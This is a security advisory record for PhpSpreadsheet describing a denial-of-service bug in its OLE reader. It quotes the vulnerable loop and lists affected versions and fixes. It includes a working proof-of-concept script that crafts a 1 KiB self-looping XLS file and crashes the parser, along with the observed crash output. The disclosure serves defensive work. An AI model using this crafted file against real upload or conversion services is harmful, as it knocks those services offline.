{"id":"GHSA-xh5m-36r6-47m3","summary":"PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion","details":"## Summary\n\nPhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory.\n\nThis is reachable from `Reader\\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.\n\n## Vulnerability details\n\n`OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic.\n- `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header.\n- `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain.\n\nThe vulnerable loop is:\n\n```php\n$sbdBlock = $this-\u003esbdStartBlock;\n$this-\u003esmallBlockChain = '';\nwhile ($sbdBlock != -2) {\n    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;\n\n    $this-\u003esmallBlockChain .= substr($this-\u003edata, $pos, 4 * $bbs);\n    $pos += 4 * $bbs;\n\n    $sbdBlock = self::getInt4d($this-\u003ebigBlockChain, $sbdBlock * 4);\n}\n```\n\nThere is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted.\n\nThe issue is reachable during normal reader detection/loading:\n\n- `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`.\n- `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue.\n\nSimilar unbounded sector-chain walks exist later in stream reading:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:175-180`\n- `src/PhpSpreadsheet/Shared/OLERead.php:198-202`\n- `src/PhpSpreadsheet/Shared/OLERead.php:218-222`\n\nThe proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.\n\n## Impact\n\nA 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.\n\nThe issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c'SH'\nset -eu\nphp -r '\n$data = str_repeat(\"\\0\", 1024);\n$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };\n$set(0, hex2bin(\"D0CF11E0A1B11AE1\"));\n$set(28, \"\\xfe\\xff\");\n$set(30, pack(\"v\", 9));     // sector size 512\n$set(32, pack(\"v\", 6));     // mini sector size 64\n$set(44, pack(\"l\", 1));     // 1 SAT sector\n$set(48, pack(\"l\", 0));     // directory first sector 0\n$set(56, pack(\"l\", 4096));  // mini stream cutoff\n$set(60, pack(\"l\", 0));     // SSAT first sector 0\n$set(64, pack(\"l\", 1));     // one SSAT sector\n$set(68, pack(\"l\", -2));    // no MSAT extension\n$set(72, pack(\"l\", 0));     // no extension sectors\n$set(76, pack(\"l\", 0));     // DIFAT says SAT is sector 0\n$set(512, pack(\"l\", 0));    // SAT entry for sector 0 points to itself\nfile_put_contents(\"/tmp/phpspreadsheet-ole-selfloop.xls\", $data);\nprintf(\"ole_size=%d\\n\", filesize(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n'\nphp -d memory_limit=64M -d display_errors=1 -r '\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\nvar_dump($r-\u003ecanRead(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n' 2\u003e&1 || true\nSH\n```\n\nObserved output:\n\n```text\nole_size=1024\nPHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143\nPHP Stack trace:\nPHP   1. {main}() Command line code:0\nPHP   2. PhpOffice\\PhpSpreadsheet\\Reader\\XlsBase-\u003ecanRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4\nPHP   3. PhpOffice\\PhpSpreadsheet\\Shared\\OLERead-\u003eread($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164\n```\n\n## Suggested remediation\n\n- Validate every OLE sector-chain walk with:\n  - a visited-sector set to reject cycles;\n  - maximum chain length based on file size and sector size;\n  - bounds checks before reading from `$this-\u003edata`, `$this-\u003ebigBlockChain`, or `$this-\u003esmallBlockChain`;\n  - rejection of negative sector IDs other than the documented end-of-chain marker.\n- Replace fatal memory exhaustion with a recoverable `Reader\\Exception` for malformed OLE chains.\n- Apply the same guarded chain-walk helper to:\n  - small-block depot chain construction;\n  - small-block stream extraction;\n  - big-block stream extraction;\n  - `readData()`.\n- Add regression tests with self-looping and out-of-range SAT/SSAT chains.","aliases":["CVE-2026-59933"],"modified":"2026-07-23T16:27:55.018643Z","published":"2026-07-23T15:01:50Z","database_specific":{"cwe_ids":["CWE-400","CWE-835"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-23T15:01:50Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"}],"affected":[{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"5.8.1"}]}],"versions":["4.0.0","4.1.0","4.2.0","4.3.0","4.3.1","4.4.0","4.5.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.5.0","5.6.0","5.7.0","5.8.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.8.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-xh5m-36r6-47m3/GHSA-xh5m-36r6-47m3.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.10.7"}]}],"versions":["3.10.0","3.10.1","3.10.2","3.10.3","3.10.4","3.10.5","3.10.6","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","3.9.1","3.9.2","3.9.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-xh5m-36r6-47m3/GHSA-xh5m-36r6-47m3.json","last_known_affected_version_range":"\u003c= 3.10.6"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.4.7"}]}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0","2.3.10","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.4.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-xh5m-36r6-47m3/GHSA-xh5m-36r6-47m3.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.18"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.16","2.1.17","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.1.17","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-xh5m-36r6-47m3/GHSA-xh5m-36r6-47m3.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.30.6"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.10","1.29.11","1.29.12","1.29.2","1.29.4","1.29.5","1.29.6","1.29.7","1.29.8","1.29.9","1.3.0","1.3.1","1.30.0","1.30.1","1.30.2","1.30.3","1.30.4","1.30.5","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-xh5m-36r6-47m3/GHSA-xh5m-36r6-47m3.json","last_known_affected_version_range":"\u003c= 1.30.5"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}